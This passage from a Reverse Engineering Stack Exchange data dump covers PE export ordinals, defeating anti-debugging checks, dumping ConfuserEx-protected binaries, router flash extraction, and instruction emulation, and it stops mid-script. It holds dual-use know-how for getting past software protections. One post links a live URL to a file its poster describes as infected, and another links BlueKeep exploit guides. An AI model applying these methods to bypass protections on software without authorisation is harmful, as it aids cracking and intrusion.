  <row Id="22917" PostTypeId="1" CreationDate="2020-01-05T21:09:38.697" Score="1" ViewCount="1012" Body="&lt;p&gt;I've been examining the PE file structure graph located &lt;a href=&quot;http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. The following is written there about the export directory: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If a symbol N is exported by ordinal and name then:&lt;br&gt;&#xA;  -Its name will be located at AddressOfNames[N]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-Its ordinal at AddressOfNameOrdinals[N]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-And its address* will be&#xA;  AddressOfFunctions[AddressOfNameOrdinals[N]]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I thought that the address would be &lt;code&gt;AddressOfFunctions[AddressOfNameOrdinals[N] -  _IMAGE_EXPORT_DIRECTORY.Base]&lt;/code&gt; because Base is the number that we subtract from the ordinal to get the index into the &lt;code&gt;AddressOfFunctions&lt;/code&gt; array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if we have &lt;code&gt;Base = 8&lt;/code&gt;, the minimal entry in &lt;code&gt;AddressOfNameOrdinals&lt;/code&gt; will be 8. The first index of the &lt;code&gt;AddressOfFunctions&lt;/code&gt; array is zero, so to get the address of the function with the ordinal equal to 8, we subtract the base from the ordinal and get 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where have I made a mistake?&lt;/p&gt;&#xA;" OwnerUserId="30671" LastEditorUserId="31278" LastEditDate="2020-01-06T10:24:05.843" LastActivityDate="2020-01-08T02:45:28.667" Title="A question about the Base field in the PE Export Directory" Tags="|pe|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22918" PostTypeId="2" ParentId="22917" CreationDate="2020-01-05T22:16:34.320" Score="0" Body="&lt;p&gt;From what I can see by viewing Kernelbase.dll in PE Bear, the First Function &lt;code&gt;AccessCheck()&lt;/code&gt; is at AddressOfNames[0], and the corresponding Ordinal at AddressOfOrdinal[0] is 4, which according to the PDF would mean the Address of the Function would be at AddressOfFunctions[4], which it is. Which means there are 4 functions defined in the AddressOfFunctions Table before &lt;code&gt;AccessCheck()&lt;/code&gt;, at positions AddressOfFunctions[0] to AddressOfFunctions[3]. Although there is &lt;code&gt;_IMAGE_EXPORT_DIRECTORY.Base&lt;/code&gt; value of 1 in the dll, I'm not sure how that is coming into play as the PDF description appears to be correct. I will have to see how the function names of the first 4 functions before &lt;code&gt;AccessCheck&lt;/code&gt; are mapped with the first 4 addresses in the AddressOfFunctions table though.&lt;/p&gt;&#xA;" OwnerUserId="30669" LastActivityDate="2020-01-05T22:16:34.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22919" PostTypeId="2" ParentId="22869" CreationDate="2020-01-05T22:44:16.693" Score="0" Body="&lt;p&gt;Your program may be using certain tricks like using the exception handler vector in order to misguide the execution of your program when launched by a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to use a non invasive debugger which also does not register itself as a debugger. I think that natively x64dbg requires a plugin for this job, but usually I resort to ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you manage to defeat the debugging protection, you should be able to trace both the executions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus: it happened a few times that the victim program walked the process chain (the one you see in sysinternals process explorer) in order to guess who was calling whom, the other processes in execution and their PE attributes.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-01-05T22:44:16.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22920" PostTypeId="2" ParentId="22917" CreationDate="2020-01-05T23:24:30.577" Score="1" Body="&lt;p&gt;The ordinal base is the value that you have to add to the ordinal to get the actual/true ordinal used for importing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example code below should explain what I mean:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//p_module_base is a char* pointer to the module base &#xA;//p_export_directory is a PIMAGE_EXPORT_DIRECTORY pointer for the module&#xA;PDWORD p_func_names = (PDWORD)(p_module_base + p_export_directory-&amp;gt;AddressofNames);&#xA;PWORD p_ordinals = (PWORD)(p_module_base + p_export_directory-&amp;gt;AddressOfNameOrdinals);&#xA;&#xA;//As an example, consider the 0th named function in the DLL:&#xA;char * example_name = (char*)(p_module_base + p_func_names[0]);&#xA;WORD example_ordinal = p_ordinals[0];&#xA;&#xA;//Adjust the ordinal by adding the ordinal base&#xA;WORD true_ordinal = example_ordinal + p_export_directory-&amp;gt;Base;&#xA;&#xA;//The following two returned addresses are THE SAME:&#xA;FARPROC addr_one = GetProcAddress((HMODULE)p_module_base, (LPCSTR)example_name);&#xA;FARPROC addr_two = GetProcAddress((HMODULE)p_module_base, (LPCSTR)true_ordinal);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE (to address the comment):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the function address without GetProcAddress, you index into the Function address table and then add the module base. The addresses are RVAs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//List of function RVAs&#xA;PDWORD p_addresses = (PDWORD)(p_module_base + p_export_directory-&amp;gt;AddressOfFunctions);&#xA;&#xA;//For our example function considered in the code above, get the address&#xA;PVOID example_address = (PVOID)(p_module_base + p_addresses[p_ordinals[0]]);&#xA;&#xA;printf(&quot;The function named %s is located in memory here: %p\n&quot;, &#xA;    example_name, &#xA;    example_address);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15992" LastEditorUserId="15992" LastEditDate="2020-01-08T02:45:28.667" LastActivityDate="2020-01-08T02:45:28.667" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22921" PostTypeId="2" ParentId="8829" CreationDate="2020-01-06T12:53:22.233" Score="1" Body="&lt;p&gt;I want just to add a quick receipt about &lt;code&gt;qemu-user&lt;/code&gt; and &lt;code&gt;ptrace&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start &lt;code&gt;qemu-binfmt&lt;/code&gt; service on the host to register qemu-user binaries.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;buildah&lt;/code&gt; to create amd64 container.&lt;/li&gt;&#xA;&lt;li&gt;Install latest qemu inside this amd64 container, kernel will use them instead of host.&lt;/li&gt;&#xA;&lt;li&gt;Build some toolchain inside amd64 container.&lt;/li&gt;&#xA;&lt;li&gt;Use regular &lt;code&gt;strace&lt;/code&gt; to trace your binaries.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;buildah copy 2f64fe2cdbfd /tmp/readdir32.c /tmp/&#xA;buildah run --cap-add=CAP_SYS_PTRACE 2f64fe2cdbfd -- sh -c &quot;mips-unknown-linux-gnu-gcc /tmp/readdir32.c -o /tmp/readdir32 &amp;amp;&amp;amp; LD_PRELOAD='/usr/mips-unknown-linux-gnu/lib/libc.so.6' strace -v /tmp/readdir32&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;write(1, &quot;errno 89 Function not implemente&quot;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Works perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full &lt;a href=&quot;https://github.com/andrew-aladev/test-images&quot; rel=&quot;nofollow noreferrer&quot;&gt;examples are here&lt;/a&gt;. Please be aware - test images are not completed, I am still fighting with mips.&lt;/p&gt;&#xA;" OwnerUserId="29326" LastActivityDate="2020-01-06T12:53:22.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22923" PostTypeId="2" ParentId="17051" CreationDate="2020-01-06T16:43:12.653" Score="2" Body="&lt;p&gt;&lt;code&gt;ConfuserEx&lt;/code&gt; unpacks your executable at runtime and then gives control to it.&#xA;After the &lt;code&gt;ConfuserEx&lt;/code&gt; loader finishes its job you can dump the memory and the assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to avoid detection, you can restort to &lt;code&gt;SysInternals&lt;/code&gt; &lt;code&gt;Process Explorer&lt;/code&gt; or &lt;code&gt;ProcDump&lt;/code&gt; to dump the live process after the loader has finished unpacking. This avoids early interference with the loader and simplifies your dump if no other measures are implemented in the protected program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find an unpacker, this for example, &lt;a href=&quot;https://github.com/BedTheGod/ConfuserEx-Unpacker-Mod-by-Bed&quot; rel=&quot;nofollow noreferrer&quot;&gt;ConfuserEx-Unpacker&lt;/a&gt; should do the job.&#xA;However, the more interesting part is do it by hand: &lt;a href=&quot;https://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; well-written blog shows how to do that in a real case.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastEditorUserId="27706" LastEditDate="2020-01-07T23:59:35.010" LastActivityDate="2020-01-07T23:59:35.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22924" PostTypeId="2" ParentId="22894" CreationDate="2020-01-06T19:51:15.170" Score="1" Body="&lt;p&gt;VT does allow searches based on filename, but it isn't always accurate as far as where the string is found in the filename/path. My workflow has turned into finding files based on the extention, writing goodware yara searches to find more examples of the filetype, and trying to tune to determine what the best signature with the most coverage is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like there should be a better way though, so I'm not going to accept this answer in case someone has a better solution or a repository more suited to the task.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastActivityDate="2020-01-06T19:51:15.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22925" PostTypeId="1" CreationDate="2020-01-07T02:16:36.710" Score="5" ViewCount="1596" Body="&lt;p&gt;I have a very large number of files (tens of thousands) who's binary all begins with 0x00 0x06.  They do not open with 7-ZIP.  I notice also that all Office files seem to share the same next 32 bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A03D8B002E542C0DE10000C41EF0016000007FFF120030483E09F883AD3C0362&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is a very old format, so I cannot find a decompression program, and do not even know how to confirm that it is the indeed an old PKZIP format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compressed file is indeed compressed by about 50%.&lt;/p&gt;&#xA;" OwnerUserId="8534" LastEditorUserId="30210" LastEditDate="2020-01-09T12:41:23.907" LastActivityDate="2020-01-15T06:40:30.777" Title="Is there a way to confirm and decompress files that I suspect are compressed with a very early format of PKZIP?" Tags="|file-format|encryption|decompress|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22926" PostTypeId="1" CreationDate="2020-01-07T05:49:09.933" Score="2" ViewCount="50" Body="&lt;p&gt;Long story short I'v downloaded a template for my website and instead of images it has the .html files included, and at the beginning  those html files do include PNG IHDR , and they are being loaded perfectly by chrome, but something is telling me that there is some sort of script included.&#xA;Spent all night trying to figure this out, ran binwalk on it, without any clear hints, just producing a couple of zlib files&#xA;Any help would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File in question - &#xA;&lt;a href=&quot;https://s3.eu-north-1.amazonaws.com/www.giftsmenu.com/infected/Gomez.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://s3.eu-north-1.amazonaws.com/www.giftsmenu.com/infected/Gomez.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30683" LastActivityDate="2020-01-07T05:49:09.933" Title="Possibly infected image" Tags="|encryption|obfuscation|binwalk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22927" PostTypeId="1" AcceptedAnswerId="22942" CreationDate="2020-01-07T08:42:18.593" Score="1" ViewCount="281" Body="&lt;p&gt;I am currently working on a Netgear router having MX25L1606E rom chip, my goal is to extract firmware for reverse engineering but &lt;a href=&quot;https://flashrom.org/Flashrom&quot; rel=&quot;nofollow noreferrer&quot;&gt;flashrom&lt;/a&gt; don't have support for it. So question is how someone can read data from rom by making their own program or script. I've tried with buspirate but I don't know what would be specific SPI mode settings to read data out of this chip. &lt;/p&gt;&#xA;" OwnerUserId="30684" OwnerDisplayName="cjhackerz" LastActivityDate="2020-01-10T17:45:19.830" Title="If flashrom tool don't have support for rom chip what are the ways you can extract data without it?" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22928" PostTypeId="2" ParentId="15300" CreationDate="2020-01-07T10:09:52.367" Score="1" Body="&lt;p&gt;Those are indirect jumps caused by the compiler or/and the linker in order to locate an external function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to how the function is defined, both the linker and the compiler may end up in emitting a stub, thus making the call stack insanely deep during the analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the comments, this SO answer &lt;a href=&quot;https://stackoverflow.com/a/22688670/9139384&quot;&gt;Indirect jumps for DLL function calls&lt;/a&gt;  precisely explains what is going on under the hood.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-01-07T10:09:52.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22929" PostTypeId="2" ParentId="3974" CreationDate="2020-01-07T11:27:49.580" Score="0" Body="&lt;p&gt;In case it is running into this error &lt;code&gt;Received a SIGTRAP: Trace/breakpoint trap&lt;/code&gt; even though there are no breakpoints in the program, check the power of Hardware Debugger e.g. J-Link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, J-Link was powered on but the port wasn't delivering enough power. Changing the port to high-power one fixed this.&lt;/p&gt;&#xA;" OwnerUserId="30685" LastActivityDate="2020-01-07T11:27:49.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22931" PostTypeId="1" CreationDate="2020-01-07T14:10:56.820" Score="1" ViewCount="94" Body="&lt;p&gt;It might be too silly of a question, but here you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have some software that contains a tricky nested assembly sequence (like &lt;a href=&quot;https://stackoverflow.com/q/41183935&quot;&gt;this one&lt;/a&gt;) you try to reverse engineer. &lt;code&gt;brain*[pen&amp;amp;paper]&lt;/code&gt; totally rocks, but you would like to consult IDA (or anything similar), but you cannot directly drag&amp;amp;drop into IDA for (whatever reason, maybe a bug). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have the assembly code for that assembly sequence, and as a work around, you can theoretically compile a program that would contain the following (in C-code),&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char *argv[])&#xA;{&#xA;  // your tricky assembly sequence here, then&#xA;  // perhaps puts(eax), puts(ebx) etc&#xA;  return(0)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like a fair an easy task. But in practice, how could I compile such a quick and dirty program in practice? Preferably via &lt;code&gt;gcc&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="30210" LastActivityDate="2020-01-10T17:54:38.990" Title="Is there a handy assembly to mock app conversion tool?" Tags="|ida|c|binary|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22932" PostTypeId="2" ParentId="20642" CreationDate="2020-01-07T17:38:55.150" Score="0" Body="&lt;p&gt;To get complete dark theme you must use IDASkins and Ida Consonance&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vdcBT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdcBT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using IDA 6.5 - &gt; 6.9 you will need &lt;a href=&quot;https://github.com/zyantific/IDASkins/releases/download/v1.4.1/release-1.4.1.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDASkins 1.4.1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all versions of IDA you can use the same ida-consonance version for the code blocks and highlighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Install &lt;a href=&quot;https://github.com/zyantific/IDASkins&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDASkins&lt;/a&gt; first:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy IDASkins.p64 &amp;amp; IDASkins.plw into the IDA plugins folder&lt;/li&gt;&#xA;&lt;li&gt;Open IDA Pro&lt;/li&gt;&#xA;&lt;li&gt;Edit -&gt; Plugins -&gt; IDA Skins: Settings&lt;/li&gt;&#xA;&lt;li&gt;Select IDASkins dark -&gt; Click OK&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then install &lt;a href=&quot;https://github.com/eugeneching/ida-consonance&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida consonance&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy ida-consonance.clr into the ida directory, wherever&lt;/li&gt;&#xA;&lt;li&gt;Open IDA Pro&lt;/li&gt;&#xA;&lt;li&gt;Options -&gt; Colors -&gt; Import&lt;/li&gt;&#xA;&lt;li&gt;Navigate to IDA root directory\skin\&lt;/li&gt;&#xA;&lt;li&gt;Select ida-consonance.clr and open&lt;/li&gt;&#xA;&lt;li&gt;Click Ok&lt;/li&gt;&#xA;&lt;li&gt;Close &amp;amp; re-open IDA Pro&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For IDA 7.0+ IDASkins has been migrated to a IDAPython plugin which is different than the .p64 and .plw type plugins. You have to build it yourself and you need IDA Python installed.   But you can still use ida consonance on 7.0+ and that portion still works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For IDA 7.3 IDASkins is deprecated, 7.3 has built in theme support&lt;/p&gt;&#xA;" OwnerUserId="24265" LastActivityDate="2020-01-07T17:38:55.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22933" PostTypeId="2" ParentId="22451" CreationDate="2020-01-07T17:40:50.913" Score="1" Body="&lt;p&gt;I found the solution when reading these two articles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pentest-tools.com/blog/bluekeep-exploit-metasploit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pentest-tools.com/blog/bluekeep-exploit-metasploit/&lt;/a&gt; (Extracting the NPP Address)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://medium.com/@alexandrevvo/testing-bluekeep-cve-2019-0708-metasploit-module-on-windows-7-ef3f28217b7b&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/@alexandrevvo/testing-bluekeep-cve-2019-0708-metasploit-module-on-windows-7-ef3f28217b7b&lt;/a&gt; (Finding the NPP)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23309" LastActivityDate="2020-01-07T17:40:50.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22935" PostTypeId="2" ParentId="6856" CreationDate="2020-01-07T20:40:30.150" Score="0" Body="&lt;p&gt;Based on a few samples, here is an overview of some fields that can be read in clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/fproulx/tastybits/blob/master/NOTES.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/fproulx/tastybits/blob/master/NOTES.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Datasets: &lt;a href=&quot;https://github.com/fproulx/tastybits/tree/master/sample-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/fproulx/tastybits/tree/master/sample-data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Unofficial specification&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;PDF417 barcode with BASE64 encoded binary payload&lt;/li&gt;&#xA;  &lt;li&gt;Always 0x7A bytes long == 122 bytes == 976 bits&lt;/li&gt;&#xA;  &lt;li&gt;Endianness appears to be Little Endian (Intel)&lt;/li&gt;&#xA;  &lt;li&gt;[0x00, 0x39] Unknown data. Always differs from bill to bill.&lt;/li&gt;&#xA;  &lt;li&gt;[0x40, 0x43] MEV serial number&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; left-aligned binary 32-bits little endian, zero padded (0x00)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x44, 0x47] MEV transaction counter (monotonically increasing)&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; left-aligned binary 32-bits little endian, zero padded (0x00)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x48, 0x4B]  Unknown data&lt;/li&gt;&#xA;  &lt;li&gt;[0x4C, 0x55] Unique bill/transaction number&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; right-aligned ASCII text, whitespace padded (0x20)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x56, 0x59] Bill datetime&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Note:&lt;/em&gt; Number of seconds from MRQ Epoch (2009-01-01)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x5A, 0x63] Employee name&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; right-aligned ASCII text, whitespace padded (0x20)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x64, 0x6B] Vendor field, typically table number, takeout, etc.&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; right-aligned ASCII text, whitespace padded (0x20)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x6C, 0x6E] TPS value in cents &#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; left-aligned binary 24-bits, little-endian, zero padded (0x00)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x6F, 0x71] TVQ value in cents&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; left-aligned binary 24-bits, little-endian, zero padded (0x00)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x72, 0x77] Total price (including TPS+TVQ) in cents&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;Notes:&lt;/em&gt; left-aligned binary 24-bits, little-endian, zero padded (0x00)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;[0x78, 0x7A] Constant data (0C:43:0E)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="139" LastActivityDate="2020-01-07T20:40:30.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22936" PostTypeId="2" ParentId="22931" CreationDate="2020-01-07T21:49:57.740" Score="2" Body="&lt;p&gt;I would assemble the code and then analyze it using emulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example assembly taken from the link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, QWORD PTR [rbp-16]   ; Move i (=9) to RAX&#xA;movabs  rdx, -3689348814741910323 ; Move some magic number to RDX (?)&#xA;mul     rdx                       ; Multiply 9 by magic number&#xA;mov     rax, rdx                  ; Take only the upper 64 bits of the result&#xA;shr     rax, 2                    ; Shift these bits 2 places to the right (?)&#xA;mov     QWORD PTR [rbp-8], rax    ; Magically, RAX contains 9/5=1 now, &#xA;                                  ; so we can assign it to j&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code to be emulated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, 9                    ;                         &#xA;movabs  rdx, -3689348814741910323 ;      &#xA;mul     rdx                       ;                            &#xA;mov     rax, rdx                  ;                       &#xA;shr     rax, 2                    ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output of emulation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Initial state:&#xA;RAX = 0x0&#xA;RDX = 0x0&#xA;=================================================&#xA;&amp;gt;&amp;gt;&amp;gt; 0x1000000:  mov rax, 9&#xA;RAX = 0x9&#xA;RDX = 0x0&#xA;=================================================&#xA;&amp;gt;&amp;gt;&amp;gt; 0x1000007:  movabs  rdx, 0xcccccccccccccccd&#xA;RAX = 0x9&#xA;RDX = 0xcccccccccccccccd&#xA;=================================================&#xA;&amp;gt;&amp;gt;&amp;gt; 0x1000011:  mul rdx&#xA;RAX = 0x3333333333333335&#xA;RDX = 0x7&#xA;=================================================&#xA;&amp;gt;&amp;gt;&amp;gt; 0x1000014:  mov rax, rdx&#xA;RAX = 0x7&#xA;RDX = 0x7&#xA;=================================================&#xA;&amp;gt;&amp;gt;&amp;gt; 0x1000017:  shr rax, 2&#xA;RAX = 0x1&#xA;RDX = 0x7&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt;Emulation complete.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, RAX holds 1, which is the value computed for 9 / 5. Emulation allows us to easily view the results of every step of the computation in order to understand what is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program performing the emulation is included below. A colorized gist can be found &lt;a href=&quot;https://gist.github.com/BinaryResearch/9bca1b5b0b4b03c8d0a3ec01696cf650&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It consists of 3 major components:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The assembly code to assemble and emulate&lt;/li&gt;&#xA;&lt;li&gt;Assembly via the Keystone engine, as alluded to by blabb in his comment above&lt;/li&gt;&#xA;&lt;li&gt;Emulation via Unicorn&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A callback function registered with the emulation engine allows us to print information such as register values to STDOUT for each instruction in the instruction stream that is executed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3    &#xA;&#xA;from keystone import *&#xA;from capstone import *&#xA;from unicorn import *&#xA;from unicorn.x86_const import *&#xA;&#xA;&#xA;# 9 divided by 5&#xA;ASM =  &quot;mov rax, 9;                         \&#xA;        movabs  rdx, -3689348814741910323;  \&#xA;        mul rdx;                            \&#xA;        mov rax, rdx;                       \&#xA;        shr rax, 2;&quot;&#xA;&#xA;&#xA;# Use Keystone Engine to assemble&#xA;def assemble_snippet():&#xA;&#xA;    try:&#xA;        ks = Ks(KS_ARCH_X86, KS_MODE_64) # initialize assembler object&#xA;        encoding, count = ks.asm(ASM)    # save results of assembly&#xA;    except KsError as e:&#xA;        print(&quot;ERROR: %s&quot; %e)&#xA;&#xA;    return bytes(encoding)               # return assembled object code&#xA;&#xA;&#xA;&#xA;&#xA;# callback for tracing instructions&#xA;# Use Capstone Engine to disassemble&#xA;def hook_code(uc, address, size, user_data):&#xA;&#xA;    # print contents of registers of interest&#xA;    print(&quot;RAX = 0x%x&quot; % uc.reg_read(UC_X86_REG_RAX))&#xA;    print(&quot;RDX = 0x%x&quot; % uc.reg_read(UC_X86_REG_RDX))&#xA;    print(&quot;=================================================&quot;)&#xA;&#xA;    # print disassembly of intruction stream&#xA;    instruction = uc.mem_read(address, size)&#xA;    md = user_data&#xA;    for i in md.disasm(instruction, address):&#xA;        print(&quot;&amp;gt;&amp;gt;&amp;gt; 0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;&#xA;&#xA;&#xA;# from https://github.com/unicorn-engine/unicorn/blob/8621bca53758532ad6a4ec5d17684fcdb9923cc6/bindings/python/sample_x86.py#L475&#xA;def emulate():&#xA;&#xA;    ADDRESS = 0x1000000                      # memory address where emulation starts&#xA;    CODE = assemble_snippet()                # object code to emulate&#xA;&#xA;    mu = Uc(UC_ARCH_X86, UC_MODE_64)         # Initialize emulator in X86-64bit mode&#xA;&#xA;    mu.mem_map(ADDRESS, 2 * 1024 * 1024)     # map 2MB memory for this emulation&#xA;    mu.mem_write(ADDRESS, CODE)              # map machine code to be emulated to memory&#xA;    mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000) # set up stack&#xA;&#xA;    md = Cs(CS_ARCH_X86, CS_MODE_64)         # initialize disassembler&#xA;&#xA;    